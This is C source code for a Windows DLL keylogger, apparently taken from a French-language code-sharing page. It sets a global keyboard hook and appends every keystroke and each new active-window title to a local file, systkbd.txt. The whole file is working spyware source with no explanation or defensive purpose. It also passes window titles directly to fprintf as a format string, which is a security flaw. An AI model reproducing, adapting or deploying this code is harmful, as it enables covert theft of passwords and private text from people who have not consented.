1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| #include <stdio.h>
#include <windows.h>
#include "main.h"
static HHOOK gos_kbdHK;
static HINSTANCE hDLL;
static char LastWindowTitle[256] = "";
void Logkbd(int code, WPARAM wParam,LPARAM lParam);
void Logkbd(int code, WPARAM wParam,LPARAM lParam)
{
char CurWindowTitle[256];
FILE *logkbd = NULL;
logkbd = fopen("systkbd.txt","a+");
GetWindowText(GetActiveWindow(),CurWindowTitle,255);
if ( strcmp(CurWindowTitle,LastWindowTitle) )
{
strcpy(LastWindowTitle,CurWindowTitle);
fprintf(logkbd,"Fenêtre active : ");
fprintf(logkbd,CurWindowTitle);
fprintf(logkbd,"\n");
}
switch(wParam)
{
case VK_RETURN:
fprintf(logkbd,"\n");
break;
case VK_CONTROL:
fprintf(logkbd,"[CTRL]");
break;
case VK_MENU:
fprintf(logkbd,"[ALT]");
break;
case VK_DELETE:
fprintf(logkbd,"[DEL]");
break;
case VK_BACK:
fprintf(logkbd,"[<==]");
break;
case VK_TAB:
fprintf(logkbd,"[TAB]");
break;
case VK_SHIFT:
fclose(logkbd);
return;
break;
default:
BYTE kbdStat[256];
GetKeyboardState(kbdStat);
WORD wBuf;
UINT ScanCode = 0;
ToAscii(wParam,ScanCode,kbdStat,&wBuf,0);
if(lParam == 30)
{
fclose(logkbd);
return;
}
fprintf(logkbd,"%c",wBuf);
break;
}
fclose(logkbd);
}
LRESULT CALLBACK kbdHookProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code<0)
return CallNextHookEx(gos_kbdHK,code,wParam,lParam);
Logkbd(code,wParam,lParam);
return CallNextHookEx(gos_kbdHK,code,wParam,lParam);
}
_declspec(dllexport) int SetkbdHook()
{
gos_kbdHK = SetWindowsHookEx(WH_KEYBOARD,kbdHookProc,GetModuleHandle("HookDll.dll"),0);
if(gos_kbdHK==NULL)
return GetLastError();
else
return -1;
}
_declspec(dllexport) void UnSetkbdHook()
{
UnhookWindowsHookEx(gos_kbdHK);
}
BOOL WINAPI DllMain(HINSTANCE hInstance,DWORD dwReason,LPVOID lpVoid)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
hDLL = hInstance;
break;
case DLL_PROCESS_DETACH:
UnSetkbdHook();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
} |
Partager